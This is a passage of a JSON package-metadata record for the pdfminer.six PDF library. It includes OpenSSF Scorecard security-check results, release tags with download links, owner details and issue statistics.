if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:17.928Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.20","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_iss